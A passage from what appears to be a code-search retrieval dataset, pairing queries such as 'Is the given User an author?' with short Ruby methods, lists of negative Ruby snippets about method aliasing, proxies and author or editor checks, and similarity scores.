out punctuation on predicates or bang methods since\n # e.g. target?_without_feature is not a valid method name.\n aliased_target, punctuation = target.to_s.sub(/([?!=])$/, ''), $1\n yield(aliased_target, punctuation) if block_given?\n alias_class_method \"#{aliased_target}_without_#{feature}#{punctuation}\", target\n alias_class_method target, \"#{aliased_target}_with_#{feature}#{punctuation}\"\n end", "def method_missing_with_wrapper(symbol, *args, &block)\n @element.respond_to?(symbol) ? @element.send(symbol, *args, &block) : method_missing_without_wrapper(symbol, *args, &block)\n end", "def test_Method_InstanceMethods_to_proc\n\t\tpass\n\tend", "def add_method_to(cls)\n cls.class_eval do\n def m; 'hello'; end\n end\nend", "def method\n @method\n end", "def method\n @method\n end", "def method_missing(m, *args)\n begin\n JavaObjectWrapper.wrap_java_object(@java_object.send(m, *args))\n rescue RuntimeError => e\n # The instance method failed. See if this is a static method.\n if not e.message.match(/^Fail: unknown method name/).nil?\n getClass.send(m, *args)\n end\n end\n end", "def append_value_to_class_method(method, value)\n old_value = send(method)\n new_value = old_value.dup << value\n redefine_class_method(method, old_value.frozen? ? new_value.freeze : new_value)\n end", "def restore_class_method(klass,method_name)\n restore_method_by_type(class << klass; self end,method_name,METHOD_TYPE_CLASS)\n end", "def method_missing(method, *arguments, &block); end", "def abstract_singleton_method(*names); end", "def on_success(_klass, _method); end", "def signature\n \"#{klass_name}#{method_name}\"\n end", "def mk_method(proc)\n @klass.send(:define_method, @method_name, proc)\n end", "def meth(arg1,arg2)\nend", "def meth(arg1,arg2)\nend", "def method_missing(meth, options = T.unsafe(nil)); end", "def alias_method(sym1,sym2) end", "def method_missing(method, *args, &block)\n self.class.define_proxy method\n send(method, *args, &block)\n end", "def create_abstract_instance_method(name); end", "def def_class(superklass=Object, methodname='result')\n cls = Class.new(superklass)\n def_method(cls, methodname, @filename || '(ERB)')\n cls\n end" ]
[ "0.7052142", "0.6796785", "0.67535836", "0.67271453", "0.665431", "0.6650893", "0.6632066", "0.65957004", "0.65957004", "0.6594876", "0.6557982", "0.6557982", "0.6557982", "0.6557982", "0.6520338", "0.6520338", "0.6520338", "0.6520338", "0.6520338", "0.6520338", "0.6520338", "0.6520338", "0.6520338", "0.6520338", "0.6520338", "0.6520338", "0.64937437", "0.64344156", "0.64162797", "0.6312371", "0.6312371", "0.62935114", "0.6278679", "0.62742597", "0.62551725", "0.6248854", "0.6248854", "0.6243341", "0.6241696", "0.62260073", "0.62203205", "0.6200517", "0.61895233", "0.61837584", "0.6181561", "0.6179386", "0.6176676", "0.61712396", "0.6170665", "0.6160905", "0.6156366", "0.6145967", "0.61455214", "0.61455214", "0.61455214", "0.61316866", "0.6103533", "0.6102451", "0.60963887", "0.6096017", "0.6087581", "0.6077628", "0.6071062", "0.60634625", "0.60634625", "0.6052548", "0.60515255", "0.60509145", "0.6031923", "0.60144323", "0.60073876", "0.5993274", "0.5988435", "0.5984886", "0.5960302", "0.59595907", "0.5954065", "0.59451807", "0.594285", "0.59338474", "0.59260744", "0.5916678", "0.5905966", "0.5905584", "0.5897404", "0.5897404", "0.5894935", "0.5884208", "0.58789355", "0.58733284", "0.5872744", "0.5872329", "0.5862618", "0.5862515", "0.5850222", "0.5850222", "0.5845582", "0.584284", "0.58376163", "0.58357835", "0.58331364" ]
0.0
-1
Wrapper around class method of same name
def editors_join_table self.class.editors_join_table end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def delegating_method; end", "def around_method name, &block\n original_method = instance_method name\n _redefine_method name do |*args|\n instance_exec original_method, *args, &block\n end \n end", "def original_method; end", "def implement(method_name)\n method = @klass.instance_method(method_name)\n end", "def make_independent\n self.method = method.dup\n end", "def class_method2\n end", "def proxy meth\n Proxy.new self, meth\n end", "def alias_class_method(new_name, old_name)\n #klass = self.to_s\n metaclass.instance_eval do\n alias_method new_name, old_name\n end\n end", "def alias_class_method(new_name, old_name)\n #klass = self.to_s\n metaclass.instance_eval do\n alias_method new_name, old_name\n end\n end", "def public_class_method(*rest) end", "def method_of_instance; end", "def method_of_instance; end", "def method_of_instance; end", "def method_of_instance; end", "def method; end", "def method; end", "def method; end", "def method; end", "def method; end", "def method; end", "def method; end", "def method; end", "def method; end", "def method; end", "def method; end", "def method; end", "def method_for(klass, meth)\n klass.instance_method(meth)\n end", "def method_missing(method_name, *args, &block)\n wrapped.send(method_name, *args, &block)\n end", "def class_method2\nend", "def original_method(obj, meth, klass=Object)\n klass.instance_method(meth).bind(obj).call\n end", "def original_method(obj, meth, klass=Object)\n klass.instance_method(meth).bind(obj).call\n end", "def a_method\n self\n end", "def unmemoized_instance_method(method_name); end", "def intersys_method(name)\n Method.new(database, class_name, name.to_s, self)\n end", "def method_missing(meth, *args, &block)\n if not @impl.nil? and @impl.respond_to?(meth)\n return @impl.send(meth.to_s, *args, &block)\n end\n # :nocov:\n return super\n # :nocov:\n end", "def method_missing(method_name, *args) self end", "def method_missing(method_name, *args) self end", "def bound_method(block); end", "def apply(klass, method)\n if klass.is_a?(String)\n return unless Object.const_defined?(klass)\n\n klass = Object.const_get(klass)\n end\n\n proxy = self\n original_method = \"_tainted_love_original_#{method}\"\n\n klass.class_eval do\n alias_method original_method, method\n\n define_method method do |*args, &given_block|\n proxy.handle(self, original_method, *args, &given_block)\n end\n end\n end", "def private_class_method(*rest) end", "def wrapper; end", "def define_class_method(name, &code)\n singleton_class.instance_eval { define_method(name, &code) }\n end", "def method(name=nil) # :nodoc:\n return name ? super : @meth\n end", "def wrapper(name); end", "def method_missing(meth, *args); end", "def instance_method(p0) end", "def doubles_by_method_name; end", "def method_missing(method, *args, &block)\n super unless original_self\n original_self.send method, *args, &block\n end", "def method_missing(method, *args)\r\n self.class.method_missing(method, *args)\r\n end", "def class_call(method_name)\n Scenario::Orchestrator.new(self, @mock_class_double, :class, method_name)\n end", "def method_missing(sym, *args, &block)\n @original_self.send(sym, *args, &block)\n end", "def method_missing(meth, *args, &block)\n if !(meth.to_s =~ /=/) and (suffixed_method = \"#{meth.to_s}__c\") and respond_to?(suffixed_method)\n send(suffixed_method)\n else\n super\n end\n end", "def method_missing(meth, *args, &block); end", "def method_missing(meth, *args, &block); end", "def method_missing(meth, *args, &block); end", "def method_missing(*args)\n result = nil\n orig = args.shift\n class_sym = self.class.name.to_sym\n m = orig.to_s[0,5] == '_DAV_' ? orig : \"_DAV_#{orig}\" # If hell is doing the same thing over and over and expecting a different result this is a hell preventer\n raise NoMethodError.new(\"Undefined method: #{orig} for class #{self}.\") unless respond_to?(m)\n @runner.call(class_sym, :before, orig)\n result = send m, *args\n @runner.call(class_sym, :after, orig)\n result\n end", "def magic\n self.class.magic(self)\n end", "def use_as_method\n @method = true\n end", "def run_one_method(klass, method_name, reporter); end", "def restore_instance_method(name)\n if respond_to?(\"#{METHOD_BACKUP_KEY}#{name}\")\n meta_eval {\n alias_method name, \"#{METHOD_BACKUP_KEY}#{name}\"\n remove_method \"#{METHOD_BACKUP_KEY}#{name}\"\n }\n end\n end", "def method_missing(method, *args, &blk); end", "def method\n @method\n end", "def public_class_method(arg0, arg1, *rest)\n end", "def method_missing(method, *args)\n class_for_number(args[0]).public_send(method, *args)\n end", "def method_missing(method, *args)\n class_for_number(args[0]).public_send(method, *args)\n end", "def method_missing(meth, *args, &block)\n\n end", "def method_one; end", "def method_symbol; end", "def add_method(instance, method_name)\n\t define_singleton_method(method_name) do |*args|\n\t instance.public_send(method_name, *args)\n\t end\n\t\tend", "def method_alias(klass, method)\n if klass.method_defined?(method.to_sym) ||\n klass.private_method_defined?(method.to_sym)\n\n with = \"#{method}_with_instana\"\n without = \"#{method}_without_instana\"\n\n klass.class_eval do\n alias_method without, method.to_s\n alias_method method.to_s, with\n end\n else\n ::Instana.logger.debug \"No such method (#{method}) to alias on #{klass}\"\n end\n end", "def old_method\n \"old improved method\"\nend", "def deprecated_method_alias(name, aliased_method, removal_in: nil, class_method: false)\r\n validate name => Symbol, aliased_method => Symbol, removal_in => [NilClass, String],\r\n class_method => [TrueClass, FalseClass]\r\n\r\n target = class_method ? self.class : self\r\n class_name = self.name\r\n\r\n unless target.method_defined?(aliased_method)\r\n raise ArgumentError, \"#{class_name} does not have method #{aliased_method} defined\"\r\n end\r\n\r\n delimiter = class_method ? '.' : '#'\r\n\r\n target.define_method(name) do |*args, **kvargs|\r\n alias_name = format('%s%s%s', class_name, delimiter, name)\r\n aliased_method_name = format('%s%s%s', class_name, delimiter, aliased_method)\r\n Deprecation.warn_method(alias_name, removal_in, aliased_method_name)\r\n method(aliased_method).call(*args, **kvargs)\r\n end\r\n end", "def method=(_); end", "def method_missing(method_sym, *args, &block)\n helper = get_helper(method_sym)\n helper.send(method_sym, *args, &block)\n end", "def method_missing(method_name, *args, &block)\n instance.send(method_name, *args, &block)\n end", "def method_missing(method, *args, &block)\n klass = class_for_api_command(method)\n\n return klass.new(@socket).send(method, *args, &block) if klass\n super(method, *args, &block)\n end", "def method_missing(method, *args, &block); end", "def re_define_class_method(name, &block)\n #klass = self.to_s\n metaclass.instance_eval do\n undef_method(name) if method_defined?(name)\n define_method(name, &block)\n end\n end", "def singleton_method_added(singleton_method_name)\n\n # Skip any methods that are excluded. See @@wrap_exclusions for more information.\n if @@wrap_exclusions.include?(singleton_method_name.to_sym)\n return\n end\n\n # A method that was once wrapped must now be in the excluded list, as well as it's alias.\n # This is to prevent infinite loop.\n @@wrap_exclusions << singleton_method_name.to_sym\n @@wrap_exclusions << \"old_#{singleton_method_name}\".to_sym\n\n # Because I am in a class method here, I need the special self.class_eval\n # in order to add new class methods. Because the names are part of a variable,\n # I use the HEREDOC so I can call alias_method and redefine the same method.\n #\n # * We create an alias so we can call the original method.\n # * We redefine the method by calling before and after callbacks.\n # * The before callbacks are skipped if they are already called without the after.\n # * The after callbacks are skipped if one of the method called a sibbling.\n # We only do the after callbacks when its the original methods that has finished.\n # * Any arguments and return values are perseved\n # * Methods that supports blocks are not supported.\n self.class_eval <<-RUBY_EVAL, __FILE__, __LINE__ + 1\n class << self\n alias_method :old_#{singleton_method_name}, :#{singleton_method_name}\n end\n def self.#{singleton_method_name}(*args)\n if time_to_call_before_methods?\n before_methods.each do |method|\n send(method)\n end\n end\n entering_wrap_method\n result = old_#{singleton_method_name} *args\n leaving_wrap_method\n if time_to_call_after_methods?\n after_methods.each do |method|\n send(method)\n end\n end\n result\n end\n RUBY_EVAL\n\n end", "def meth(arg1)\nend", "def alias_class_method_chain(target, feature)\n # Strip out punctuation on predicates or bang methods since\n # e.g. target?_without_feature is not a valid method name.\n aliased_target, punctuation = target.to_s.sub(/([?!=])$/, ''), $1\n yield(aliased_target, punctuation) if block_given?\n alias_class_method \"#{aliased_target}_without_#{feature}#{punctuation}\", target\n alias_class_method target, \"#{aliased_target}_with_#{feature}#{punctuation}\"\n end", "def method_missing_with_wrapper(symbol, *args, &block)\n @element.respond_to?(symbol) ? @element.send(symbol, *args, &block) : method_missing_without_wrapper(symbol, *args, &block)\n end", "def test_Method_InstanceMethods_to_proc\n\t\tpass\n\tend", "def add_method_to(cls)\n cls.class_eval do\n def m; 'hello'; end\n end\nend", "def method\n @method\n end", "def method\n @method\n end", "def method_missing(m, *args)\n begin\n JavaObjectWrapper.wrap_java_object(@java_object.send(m, *args))\n rescue RuntimeError => e\n # The instance method failed. See if this is a static method.\n if not e.message.match(/^Fail: unknown method name/).nil?\n getClass.send(m, *args)\n end\n end\n end", "def append_value_to_class_method(method, value)\n old_value = send(method)\n new_value = old_value.dup << value\n redefine_class_method(method, old_value.frozen? ? new_value.freeze : new_value)\n end", "def restore_class_method(klass,method_name)\n restore_method_by_type(class << klass; self end,method_name,METHOD_TYPE_CLASS)\n end", "def method_missing(method, *arguments, &block); end", "def abstract_singleton_method(*names); end", "def on_success(_klass, _method); end", "def signature\n \"#{klass_name}#{method_name}\"\n end", "def mk_method(proc)\n @klass.send(:define_method, @method_name, proc)\n end", "def meth(arg1,arg2)\nend", "def meth(arg1,arg2)\nend", "def method_missing(meth, options = T.unsafe(nil)); end", "def alias_method(sym1,sym2) end", "def method_missing(method, *args, &block)\n self.class.define_proxy method\n send(method, *args, &block)\n end", "def create_abstract_instance_method(name); end", "def def_class(superklass=Object, methodname='result')\n cls = Class.new(superklass)\n def_method(cls, methodname, @filename || '(ERB)')\n cls\n end" ]
[ "0.7052142", "0.6796785", "0.67535836", "0.67271453", "0.665431", "0.6650893", "0.6632066", "0.65957004", "0.65957004", "0.6594876", "0.6557982", "0.6557982", "0.6557982", "0.6557982", "0.6520338", "0.6520338", "0.6520338", "0.6520338", "0.6520338", "0.6520338", "0.6520338", "0.6520338", "0.6520338", "0.6520338", "0.6520338", "0.6520338", "0.64937437", "0.64344156", "0.64162797", "0.6312371", "0.6312371", "0.62935114", "0.6278679", "0.62742597", "0.62551725", "0.6248854", "0.6248854", "0.6243341", "0.6241696", "0.62260073", "0.62203205", "0.6200517", "0.61895233", "0.61837584", "0.6181561", "0.6179386", "0.6176676", "0.61712396", "0.6170665", "0.6160905", "0.6156366", "0.6145967", "0.61455214", "0.61455214", "0.61455214", "0.61316866", "0.6103533", "0.6102451", "0.60963887", "0.6096017", "0.6087581", "0.6077628", "0.6071062", "0.60634625", "0.60634625", "0.6052548", "0.60515255", "0.60509145", "0.6031923", "0.60144323", "0.60073876", "0.5993274", "0.5988435", "0.5984886", "0.5960302", "0.59595907", "0.5954065", "0.59451807", "0.594285", "0.59338474", "0.59260744", "0.5916678", "0.5905966", "0.5905584", "0.5897404", "0.5897404", "0.5894935", "0.5884208", "0.58789355", "0.58733284", "0.5872744", "0.5872329", "0.5862618", "0.5862515", "0.5850222", "0.5850222", "0.5845582", "0.584284", "0.58376163", "0.58357835", "0.58331364" ]
0.0
-1
Is the given User an author?
def author?(user) authors.member?(user) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def author?(user)\n user && author.id == user.id\n end", "def author?(user)\n self.user == user\n end", "def current_user_is_author?\n current_user && current_user.is_author\n end", "def has_author?(author)\n ret = false\n @authors.each{ |auth| ret = true if auth == author }\n ret\n end", "def is_user_potential_author?(user, author)\n\n is_user_not_already_author = self.authors.all? { user.author != author }\n\n user_author_name = \"#{user.last_name}\"\n matching_names = author.name.include?(user_author_name)\n\n matching_names && is_user_not_already_author\n end", "def author?\n !author.nil? && !author.empty?\n end", "def is_author?( author = '' )\n return false unless @is_author\n\n return true if author.blank?\n\n author_obj = get_queried_object\n\n author = [author].map {|a| a.to_s}\n\n if author.include?(author_obj.id.to_s)\n return true\n elsif author.include?(author_obj.nickname)\n return true\n elsif author.include?(author_obj.user_nicename)\n return true\n end\n false\n end", "def check_author\n if person_signed_in?\n @is_author = Author.where(\"person_id = ? AND document_id = ?\", current_person.id, @document.id).present?\n else\n @is_author = false\n end\n end", "def is_author_of?(item)\n if item.respond_to?(:user)\n self == item.user\n elsif item.respond_to?(:pseud)\n self.pseuds.include?(item.pseud)\n elsif item.respond_to?(:pseuds)\n !(self.pseuds & item.pseuds).empty?\n elsif item.respond_to?(:author)\n self == item.author\n else\n false\n end\n end", "def editable_by?(user)\n\t\tuser && user == author\n\tend", "def is_author_of?(item)\n if item.respond_to?(:user)\n self == item.user\n elsif item.respond_to?(:pseud)\n self.pseuds.include?(item.pseud)\n elsif item.respond_to?(:pseuds)\n !(self.pseuds & item.pseuds).empty? \n else\n false\n end\n end", "def is_author_of?(name)\n self.is_author? and !self.programs.find_by_name(name).nil?\n end", "def hasOwner? \n\t\tunless self.author_id.nil? || self.author_id == 0\n\t\t\tUser.find(self.author_id)\n\t\tend\n\n\tend", "def is_the_author_of_the_post(post)\n post.author_id == current_author.id\n end", "def is_author?\n Response.joins(question: :poll).where(\"polls.user_id = ?\", self.user_id).exists?\n end", "def invitable_to?(user)\n return false unless pending?\n return false if authors.include?(user)\n end", "def article_owner?(obj)\n\t\t\tcurrent_user.id == obj.user_id\n\t\tend", "def reply_author(reply)\n\t\tlogged_in? && current_user.id == reply.user_id\n\tend", "def is_author?\n !self.authorships.empty?\n end", "def reply_author(reply)\n user_signed_in? && current_user.id == reply.user_id\n end", "def author; User.get(self.author_id); end", "def author\n User.find_by_id(@user_id)\n end", "def author\n user\n end", "def owned_by?(user_id)\n user_id = user_id.id if user_id.is_a?(User)\n has_role(user_id, :creator)\n end", "def check_author\n if self.author.blank?\n self.author = 'anon'\n end\n end", "def author\n User.find(self.user_id)\n end", "def whose?(user, object)\n case object\n when Post\n owner = object.author\n when Comment\n owner = object.user\n else\n owner = nil\n end\n if user and owner\n if user.id == owner.id\n \"his\"\n else\n \"#{owner.nickname}'s\"\n end\n else\n \"\"\n end\n end", "def current_author_is_admin?\n Author.all.count < 1 || (current_author != nil && current_author.id == 1)\n end", "def owned_by? a_user\n a_user == user\n end", "def notify_only_author?(user)\n for_commit? && commit_author &&\n commit_author.email != user.email\n end", "def author\n User.find_by_id(self.author_id)\n end", "def current_author\n Author.find(current_user.id) unless current_user.nil?\n end", "def user?(user)\n user.id == self.user_id if user\n end", "def participates?(user)\n author == user || receiver == user\n end", "def author\n if user_id\n @author ||= Author.new(instance, user_id)\n else\n nil\n end\n end", "def self_signup?\n user_id == author_id\n end", "def get_author\n \tUser.find(author_id)\n \tend", "def author\n @author ||= User.find_by_id(author_id)\n end", "def owner? usr\n user_id == usr.id\n end", "def is_logged_in?\n !session[:author_id].nil?\n end", "def author\n @author ||= User.find_by_id(author_id) unless author_id.nil?\n end", "def isCurrentUserAuthorOrAdmin(id, session)\n\tunless session == nil\n\t\treturn id == session || User.find(session).group == 1 # TODO: if admin naj bo tudi true\n\tend\n\t\n\treturn false\n end", "def user?\n is_a?(Merit::User)\n end", "def author_worthy?\n notes?\n end", "def author\n User.find_by_id(users_id)\n end", "def viewable_by?(actor)\n actor.is_a?(User)\n end", "def author\n val = authors and val.first\n end", "def user_owner_entry?\n user_entry? && principle == \"OWNER\"\n end", "def author\n object.user\n end", "def is_user?\n user ? true : false\n end", "def owned_by?(u)\n self.user == u\n end", "def user?(user)\n self.user_id == user.id if user\n end", "def user?(user)\n self.user_id == user.id if user\n end", "def user?(user)\n self.user_id == user.id if user\n end", "def creator?(object)\n current_user == object.user ? true : false\n \n end", "def owner? (user)\n user == owner\n end", "def author_exuid\n author && author.to_param\n end", "def type_authorization?()\n return(true) if(@type == TAC_PLUS_AUTHOR)\n return(false)\n end", "def author\n return User.find(self.user_id).user_name\n end", "def preview_only?(user)\n !listed && !author?(user)\n end", "def current_user?(user)\r\n user == current_user\r\n end", "def author_name\n author.full_name if author\n end", "def current_user_has_book?(book)\n current_user.books.find_by(identifier: book.identifier)\n end", "def current_user_owns?(item)\n \t!item.nil? && current_user.is_a?(User) && (item.is_a?(User) ? current_user == item : current_user.is_author_of?(item)) \n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def author_of(resource)\n member_signed_in? && current_member.id == resource.member_id\n end", "def check_coauthor\n coauthors = Coauthor.where(\"book_id = ? AND user_id=?\",params[:id],current_user.id)\n book = Book.where(\"id = ? AND user_id = ?\",params[:id],current_user.id)\n if book.empty? #if user is author of book\n if coauthors.empty? #if user is coauthor of book\n redirect_to books_path, alert: \"You are not author/coauthor of this book. Access denied.\"\n end\n end\n end", "def current_user?(user)\n user == current_user\n end", "def user?(user)\n users.include? user\n end", "def author_login\r\n user.login if user\r\n end", "def is_sole_author_of?(item)\n other_pseuds = item.pseuds.find(:all) - self.pseuds\n self.is_author_of?(item) && other_pseuds.blank?\n end", "def owner?(c_utor)\n case self.contributor_type\n when \"User\"\n return (self.contributor_id == c_utor.id && self.contributor_type == c_utor.class.name)\n # TODO some new types of \"contributors\" may be added at some point - this is to cater for that in future\n # when \"Network\"\n # return self.contributor.owner?(c_utor.id) if self.contributor_type.to_s\n else\n # unknown type of contributor - definitely not the owner \n return false\n end\n end", "def managed_by? a_user\n owned_by? a_user || program.moderator == a_user\n end", "def user?\n type == :user_id\n end", "def user?\n type == :user_id\n end", "def author\n self.user\n end", "def current_user?(user)\n\t\tcurrent_user == user\n\tend", "def author_name\n if author\n author.full_name\n else\n 'No Author Found'\n end\n end", "def owner? obj, relation=nil\n if relation \n return true if user_relation?(obj, relation)\n end \n [:user, :owner, :author].each do |relation| \n return true if user_relation?(obj, relation)\n end\n false\n end", "def current_user?(user)\n\t\tuser == current_user\n\tend", "def current_user?(user)\n\t\tuser == current_user\n\tend", "def current_user?(user)\n\t\tuser == current_user\n\tend", "def current_user?(user)\n\t\tuser == current_user\n\tend", "def current_user?(user)\n\t\tuser == current_user\n\tend", "def current_user?(user)\n\t\tuser == current_user\n\tend", "def current_user?(user)\n\t\tuser == current_user\n\tend", "def current_user?(user)\n\t\tuser == current_user\n\tend", "def current_user?(user)\n\t\tuser == current_user\n\tend", "def current_user?(user)\n\t\tuser == current_user\n\tend", "def current_user?(user)\n\t\tuser == current_user\n\tend", "def get_author\n @current_author ||= session[:current_user_id] && Author.find(session[:current_user_id])\n end", "def author\n if @submission.user != current_user.sk\n render 'errors/access_refused' and return\n end\n end", "def current_user?(user)\n current_user == user\n end", "def current_user?(user)\n current_user == user\n end" ]
[ "0.89332795", "0.8765247", "0.83865756", "0.8183136", "0.80978", "0.807365", "0.80580676", "0.7832285", "0.77401567", "0.76317245", "0.7575179", "0.7459884", "0.7452254", "0.7279688", "0.7157843", "0.7127489", "0.702948", "0.6986775", "0.6982226", "0.6972093", "0.6970805", "0.6951099", "0.69298923", "0.6908034", "0.68792254", "0.6853331", "0.6833424", "0.682478", "0.6775835", "0.6766339", "0.6758323", "0.67374545", "0.67354786", "0.6735477", "0.6718355", "0.6716913", "0.6703137", "0.66848356", "0.66839087", "0.6664364", "0.66633344", "0.66631263", "0.66468155", "0.66416043", "0.66180927", "0.6612783", "0.6610671", "0.6609845", "0.66043603", "0.6597181", "0.65947", "0.6582535", "0.6582535", "0.6582535", "0.6558216", "0.6541591", "0.653997", "0.6530071", "0.65206367", "0.6518281", "0.6511714", "0.6509658", "0.6506643", "0.6493042", "0.64897424", "0.64897424", "0.64897424", "0.64897424", "0.64897424", "0.64897424", "0.64897424", "0.6474562", "0.6473541", "0.64656943", "0.646469", "0.64645725", "0.6462406", "0.6458613", "0.6457568", "0.6453423", "0.6453423", "0.6449178", "0.64470303", "0.644365", "0.64428204", "0.64412296", "0.64412296", "0.64412296", "0.64412296", "0.64412296", "0.64412296", "0.64412296", "0.64412296", "0.64412296", "0.64412296", "0.64409727", "0.64268863", "0.6423366", "0.64208424", "0.64208424" ]
0.8925612
1
Is the given User an editor?
def editor?(user) editors.member?(user) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def current_user_is_editor?(node)\n current_user_has_role?('editor', node)\n end", "def edited_by?(user)\n return true if editors.include?(user)\n false\n end", "def is_editor?\n role == \"editor\"\n end", "def editor?\n has_role? :editor\n end", "def editor?\n self[:editor] || admin?\n end", "def is_editor?\n if user_signed_in?\n raise JazzhoustonAuth::UnauthorizedEditor unless current_user.editor_flag==1\n else\n # or you can use the authenticate_user! devise provides to only allow signed_in users\n raise JazzhoustonAuth::RequiresLogin\n end\n end", "def editor?\n self.editor\n end", "def user_can_edit(user)\n if (self.editor == user) or self.book.project.owner == user or user.id == 1 then\n return true\n else\n return false\n end\n end", "def editor?\n return false if single_use_link?\n current_ability.can?(:edit, @curation_concern.id)\n end", "def editable_by?(user)\n return true unless has_limited_editors?\n\n (editor_roles & user.alchemy_roles).any?\n end", "def editable_by?(user)\n\t\tuser && user == author\n\tend", "def editor?\n true\n end", "def editable_by?(user_id)\n user_id = user_id.id if user_id.is_a?(User)\n has_role(user_id, :editor)\n end", "def can_edit?(user)\n return true if check_creator(user)\n return true if user.any_role?('editor', 'manager')\n return true if !self.content_permissions.by_user(user).blank?\n return true if self.parent && self.parent.can_add_content?(user)\n false\n end", "def displayable_to_user?(user, cat=catalog)\n at_least_editor = user.catalog_role_at_least?(cat, 'editor')\n at_least_editor || !restricted?\n end", "def edited_by?(user)\n lecture.edited_by?(user)\n end", "def editable_by?(user)\n \tuser && user == owner\n\tend", "def last_editor?(c_utor)\n case self.contributor_type\n when \"User\"\n return (self.contributor_id == c_utor.id && self.contributor_type == c_utor.class.name)\n # TODO some new types of \"contributors\" may be added at some point - this is to cater for that in future\n # when \"Network\"\n # return self.contributor.owner?(c_utor.id) if self.contributor_type.to_s\n else\n # unknown type of contributor - definitely not the owner \n return false\n end\n end", "def edited_with_inheritance_by?(user)\n return true if editors.include?(user)\n return true if teachable&.lecture&.editors&.include?(user)\n return true if teachable&.lecture&.teacher == user\n return true if teachable&.course&.editors&.include?(user)\n false\n end", "def editable_by?(user)\n\t \t# user && user == owner\n\t user == user\n \tend", "def can_edit?(user)\n user && self.creator_id == user.id\n end", "def editable_by? editor=nil\n\t\treturn true if((editor)&&(self==editor))\n\tend", "def can_edit?(user)\n self == user\n end", "def can_edit?(user)\n self == user\n end", "def can_edit?(user)\n self == user\n end", "def can_edit?(current_user_id)\n\t\tif User.find(current_user_id) == creator\n\t\t\treturn true\n\t\telse\n\t\t\treturn false\n\t\tend\n\tend", "def can_edit?(user)\n user == current_user\n end", "def is_editors_account\n puts params[:id]\n puts current_editor.id\n if params[:id].to_i != current_editor.id.to_i\n redirect_to_edit\n end\n end", "def editable?(user)\n\n return false if user.nil?\n\n return (user.admin?(User::AUTH_ADDRESSBOOK) or self.owner_id == user.id)\n end", "def current_user_is_final_editor?(node)\n current_user_has_role?('final_editor', node)\n end", "def mayEdit? ( other_user )\n if ( (not other_user.valid?) or ( other_user.is_a?(User) == false ) )\n # d \"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\"\n # d \"basic check failed\"\n # d other_user.type\n # d \"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\"\n return false\n end\n user = getUser()\n if ( other_user == user )\n return true\n end\n if ( ( self.public_policy == Dfile::PP_MAYEDIT ) )\n return true\n end\n if self.special_users\n special = self.special_users[other_user.id.to_s]\n if special\n if ( ( special == Dfile::PP_MAYEDIT ) )\n return true\n end\n end\n end\n return false\n end", "def editable_by_user?(user)\n begin\n (user && (user.id == 1)) or # by root\n (allow_editing == 99) or # it's public editable\n (allow_editing == 0 and author and author.user == user) or # it's the author\n (allow_editing == 1 and user ) or # it's editable by any registered user\n (allow_editing == 2 and user.functions.include?(restricted_to_function_id)) # user is member of function\n rescue\n false\n end\n end", "def editable?(user)\n\n return false if user.nil?\n\n return true if user.admin?(User::AUTH_MAIL)\n\n return (self.mail_account.user_id == user.id)\n end", "def can_edit?(user)\n user == self.user\n end", "def verify_editor\n (current_user.nil?) ? redirect_to(root_path) : (redirect_to(root_path) unless current_user.is_editor?)\n end", "def can_edit?(user)\n return user == self.user || user.has_role?(:admin)\n end", "def editor?(item=nil)\n defined?(@_is_editor) or @_is_editor = self.departments.present?\n return @_is_editor unless item\n return departments.include?(item) if item.is_a? Department\n return departments.include?(item.department) if item.is_a?(Topic) && !item.new_record?\n return departments.include?(item.topic.department) if item.is_a?(Session) && !item.new_record?\n false\n end", "def can_edit?(user)\n (self.user == user) || !!(user && user.admin?)\n end", "def can_edit?(user)\n !!(user && (user.admin? || users.include?(user)))\n end", "def is_editor?\n redirect_to root_path if !@is_editor\n end", "def canEdit?(user=current_user,owner=nil)\n return false if user.nil?\n return true if user.name == owner.name\n return true if self.isAdmin?(user)\n false\n end", "def editable_by? editor=nil\n\t\treturn true if((editor)&&(self.school.headmaster==editor))\n\tend", "def editable_by(user_id)\n\t\tuser = project_groups.find_by_user_id(user_id)\n\t\tif (! user.nil?) && user.project_editor then\n\t\t\treturn true\n\t\telse\n\t\t\treturn false\n\t\tend\n\tend", "def collection_has_editor(collection)\n project = collection.projects.first\n \n project.collaborators.each do |user|\n if ( user.user_id == current_user )\n end\n end\n end", "def can_edit_location?(editor=nil)\n editor ? self.person == editor : false\n end", "def can_edit?(user)\n\n end", "def editable_by?(user)\n return false if user.blank?\n project.project_users.exists?([\"role IN ('curator', 'manager') AND user_id = ?\", user])\n end", "def can_edit?(user)\n if user.nil?\n false\n else\n if self.admins.map(&:downcase).include?(user.email.downcase)\n return true\n else\n self.user_in_group_share?(user, 'Edit')\n end\n end\n end", "def editable_by?(user)\n user && self.user_id == user.id\n end", "def editable_by?(user)\n user && self.user_id == user.id\n end", "def user_can_edit\n unless logged_in? and can_edit?\n respond_with_error(\n \"You must have editor permissions to edit this content.\", \n root_path)\n end\n end", "def edit_login?(user)\r\n # Editable if the user is an admin OR\r\n # the user is editing his own settings\r\n edit_profile?(user) || self == user\r\n end", "def can_edit?(user)\n Article.can_edit?(user)\n end", "def editable_by?(usr)\n (usr == user && usr.allowed_to?(:edit_own_time_entries, project)) || usr.allowed_to?(:edit_time_entries, project)\n end", "def editable_by?(usr)\n (usr == user && usr.allowed_to?(:edit_own_time_entries, project)) || usr.allowed_to?(:edit_time_entries, project)\n end", "def editable_by?(usr)\n (usr == user && usr.allowed_to?(:edit_own_time_entries, project)) || usr.allowed_to?(:edit_time_entries, project)\n end", "def edit_class? user\r\n if user.member_of_class?(self)&& is_editable? then \r\n return true;\r\n else\r\n return false;\r\n end\r\n end", "def editable? usr\r\n (seller?(usr) || pixter?(usr) || usr.has_role?(:admin)) || usr.has_role?(:support)\r\n end", "def can_edit?\n allows_current_user_access_to? :edit\n end", "def editable\n if scope && scope[:user_id] && object.user_id == scope[:user_id]\n return true\n else\n return false\n end\n end", "def editable\n if 